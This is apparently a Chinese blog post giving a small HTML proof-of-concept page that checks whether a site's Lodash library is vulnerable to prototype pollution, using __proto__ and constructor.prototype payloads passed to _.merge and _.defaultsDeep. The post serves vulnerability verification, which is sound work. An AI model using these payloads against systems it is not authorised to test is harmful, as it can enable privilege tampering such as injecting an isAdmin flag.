作为一名漏扫攻城狮,时不时会在AWVS中看到lodash这个漏洞,但是我只管导出报告,该怎么验证呢?
验证POC
下面就是用于验证的POC,把这个html中的src进行修改为扫描的网站中的lodash.min.js然后浏览器打开
<!DOCTYPE html>
<html>
<head><title>Lodash 原型污染测试</title><!-- 加载 Lodash --><!-- 这里修改src中的链接 --><script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>
</head>
<body><script>// 测试代码const payload = '{"constructor": {"prototype": {"lodash": true}}}';_.defaultsDeep({}, JSON.parse(payload));if ({}.lodash === true) {alert("⚠️ 漏洞存在!\n你的 Lodash 版本存在原型污染风险 (CVE-2018-3721, CVE-2019-10744)");} else {alert("✅ 安全!\n你的 Lodash 版本已修复注入漏洞");}</script><script>// 测试代码const maliciousPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');_.merge({}, maliciousPayload);// 检查是否污染成功if ({}.isAdmin === true) {alert("⚠️ 漏洞存在!\nObject.prototype 已被污染,isAdmin=true");} else {alert("✅ 安全!\n未检测到原型污染");}</script>
</body>
</html>